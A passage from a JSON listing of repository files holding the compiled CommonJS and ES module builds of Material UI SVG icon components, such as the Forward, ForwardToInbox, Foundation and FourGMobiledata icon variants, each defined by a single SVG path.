    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8V6.41c0-.89 1.08-1.34 1.71-.71l5.59 5.59c.39.39.39 1.02 0 1.41l-5.59 5.59c-.63.63-1.71.19-1.71-.7V16H5c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1z\"\n}), 'ForwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8V6.41c0-.89 1.08-1.34 1.71-.71l5.59 5.59c.39.39.39 1.02 0 1.41l-5.59 5.59c-.63.63-1.71.19-1.71-.7V16H5c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1z\"\n}), 'ForwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8V4l8 8-8 8v-4H4V8z\"\n}), 'ForwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8V4l8 8-8 8v-4H4V8z\"\n}), 'ForwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardToInbox.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H4V8l8 5 8-5v5h2V6c0-1.1-.9-2-2-2m-8 7L4 6h16zm7 4 4 4-4 4v-3h-4v-2h4z\"\n}), 'ForwardToInbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardToInbox.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H4V8l8 5 8-5v5h2V6c0-1.1-.9-2-2-2m-8 7L4 6h16zm7 4 4 4-4 4v-3h-4v-2h4z\"\n}), 'ForwardToInbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardToInboxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H4V8l8 5 8-5v5h2V6c0-1.1-.9-2-2-2m-8 7L4 6h16zm7 4 4 4-4 4v-3h-4v-2h4z\"\n}), 'ForwardToInboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardToInboxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H4V8l8 5 8-5v5h2V6c0-1.1-.9-2-2-2m-8 7L4 6h16zm7 4 4 4-4 4v-3h-4v-2h4z\"\n}), 'ForwardToInboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardToInboxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H4V8l6.94 4.34c.65.41 1.47.41 2.12 0L20 8v5h2V6c0-1.1-.9-2-2-2m-8 7L4 6h16zm7 5.21c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36V20h-3c-.55 0-1-.45-1-1s.45-1 1-1h3z\"\n}), 'ForwardToInboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardToInboxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H4V8l6.94 4.34c.65.41 1.47.41 2.12 0L20 8v5h2V6c0-1.1-.9-2-2-2m-8 7L4 6h16zm7 5.21c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36V20h-3c-.55 0-1-.45-1-1s.45-1 1-1h3z\"\n}), 'ForwardToInboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardToInboxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h11v-2H4V8l8 5 8-5v5h2zm-10 7L4 6h16zm7 4 4 4-4 4v-3h-4v-2h4z\"\n}), 'ForwardToInboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardToInboxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h11v-2H4V8l8 5 8-5v5h2zm-10 7L4 6h16zm7 4 4 4-4 4v-3h-4v-2h4z\"\n}), 'ForwardToInboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardToInboxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 18H4V8l8 5 8-5v5h-2c-2.76 0-5 2.24-5 5m-1-7L4 6h16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H4V8l8 5 8-5v5h2V6c0-1.1-.9-2-2-2m-8 7L4 6h16zm7 4 4 4-4 4v-3h-4v-2h4z\"\n}, \"1\")], 'ForwardToInboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardToInboxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 18H4V8l8 5 8-5v5h-2c-2.76 0-5 2.24-5 5m-1-7L4 6h16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H4V8l8 5 8-5v5h2V6c0-1.1-.9-2-2-2m-8 7L4 6h16zm7 4 4 4-4 4v-3h-4v-2h4z\"\n}, \"1\")], 'ForwardToInboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 14v1.17L17.17 12 14 8.83V10H6v4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 12-8-8v4H4v8h8v4zM6 14v-4h8V8.83L17.17 12 14 15.17V14z\"\n}, \"1\")], 'ForwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 14v1.17L17.17 12 14 8.83V10H6v4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 12-8-8v4H4v8h8v4zM6 14v-4h8V8.83L17.17 12 14 15.17V14z\"\n}, \"1\")], 'ForwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Foundation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v3H3v2h2v3h2v-3h4v3h2v-3h4v3h2v-3h2v-2h-2zM7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\"\n}), 'Foundation');"
  },
  {
    "path": "packages/mui-icons-material/lib/Foundation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v3H3v2h2v3h2v-3h4v3h2v-3h4v3h2v-3h2v-2h-2zM7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\"\n}), 'Foundation');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoundationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v3H3v2h2v3h2v-3h4v3h2v-3h4v3h2v-3h2v-2h-2zM7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\"\n}), 'FoundationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoundationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v3H3v2h2v3h2v-3h4v3h2v-3h4v3h2v-3h2v-2h-2zM7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\"\n}), 'FoundationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoundationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h1.7c.46 0 .68-.57.33-.87L12.67 3.6c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87H5v3H4c-.55 0-1 .45-1 1s.45 1 1 1h1v2c0 .55.45 1 1 1s1-.45 1-1v-2h4v2c0 .55.45 1 1 1s1-.45 1-1v-2h4v2c0 .55.45 1 1 1s1-.45 1-1v-2h1c.55 0 1-.45 1-1s-.45-1-1-1h-1zM7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\"\n}), 'FoundationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoundationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h1.7c.46 0 .68-.57.33-.87L12.67 3.6c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87H5v3H4c-.55 0-1 .45-1 1s.45 1 1 1h1v2c0 .55.45 1 1 1s1-.45 1-1v-2h4v2c0 .55.45 1 1 1s1-.45 1-1v-2h4v2c0 .55.45 1 1 1s1-.45 1-1v-2h1c.55 0 1-.45 1-1s-.45-1-1-1h-1zM7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\"\n}), 'FoundationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoundationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v3H3v2h2v3h2v-3h4v3h2v-3h4v3h2v-3h2v-2h-2zM7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\"\n}), 'FoundationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoundationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v3H3v2h2v3h2v-3h4v3h2v-3h4v3h2v-3h2v-2h-2zM7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\"\n}), 'FoundationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoundationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v3H3v2h2v3h2v-3h4v3h2v-3h4v3h2v-3h2v-2h-2zM7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\"\n}, \"1\")], 'FoundationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoundationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v3H3v2h2v3h2v-3h4v3h2v-3h4v3h2v-3h2v-2h-2zM7 15v-4.81l4-3.6V15zm6 0V6.59l4 3.6V15z\"\n}, \"1\")], 'FoundationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGMobiledata.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7H7v5H5V7H3v7h4v3h2v-3h2v-2H9zm8 4v2h2v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'FourGMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGMobiledata.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7H7v5H5V7H3v7h4v3h2v-3h2v-2H9zm8 4v2h2v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'FourGMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGMobiledataOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7H7v5H5V7H3v7h4v3h2v-3h2v-2H9zm8 4v2h2v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'FourGMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGMobiledataOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7H7v5H5V7H3v7h4v3h2v-3h2v-2H9zm8 4v2h2v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'FourGMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGMobiledataRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 7c-.55 0-1 .45-1 1v4H5V8c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55.45 1 1 1h3v2c0 .55.45 1 1 1s1-.45 1-1v-2h1c.55 0 1-.45 1-1s-.45-1-1-1H9V8c0-.55-.45-1-1-1m9 5c0 .55.45 1 1 1h1v2h-5V9h6c.55 0 1-.45 1-1s-.45-1-1-1h-6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1\"\n}), 'FourGMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGMobiledataRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 7c-.55 0-1 .45-1 1v4H5V8c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55.45 1 1 1h3v2c0 .55.45 1 1 1s1-.45 1-1v-2h1c.55 0 1-.45 1-1s-.45-1-1-1H9V8c0-.55-.45-1-1-1m9 5c0 .55.45 1 1 1h1v2h-5V9h6c.55 0 1-.45 1-1s-.45-1-1-1h-6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1\"\n}), 'FourGMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGMobiledataSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7H7v5H5V7H3v7h4v3h2v-3h2v-2H9zm8 4v2h2v2h-5V9h7V7h-9v10h9v-6z\"\n}), 'FourGMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGMobiledataSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7H7v5H5V7H3v7h4v3h2v-3h2v-2H9zm8 4v2h2v2h-5V9h7V7h-9v10h9v-6z\"\n}), 'FourGMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGMobiledataTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7H7v5H5V7H3v7h4v3h2v-3h2v-2H9zm8 4v2h2v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'FourGMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGMobiledataTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7H7v5H5V7H3v7h4v3h2v-3h2v-2H9zm8 4v2h2v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'FourGMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGPlusMobiledata.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11v2h2v2h-4V9h6c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-4zm11 0h-2V9h-2v2h-2v2h2v2h2v-2h2zM7 7H5v5H3V7H1v7h4v3h2v-3h1v-2H7z\"\n}), 'FourGPlusMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGPlusMobiledata.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11v2h2v2h-4V9h6c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-4zm11 0h-2V9h-2v2h-2v2h2v2h2v-2h2zM7 7H5v5H3V7H1v7h4v3h2v-3h1v-2H7z\"\n}), 'FourGPlusMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGPlusMobiledataOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11v2h2v2h-4V9h6c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-4zm11 0h-2V9h-2v2h-2v2h2v2h2v-2h2zM7 7H5v5H3V7H1v7h4v3h2v-3h1v-2H7z\"\n}), 'FourGPlusMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourGPlusMobiledataOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11v2h2v2h-4V9h6c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-4zm11 0h-2V9h-2v2h-2v2h2v2h2v-2h2zM7 7H5v5H3V7H1v7h4v3h2v-3h1v-2H7z\"\n}), 'FourGPlusMobiledataOutlined');"
  },
  {
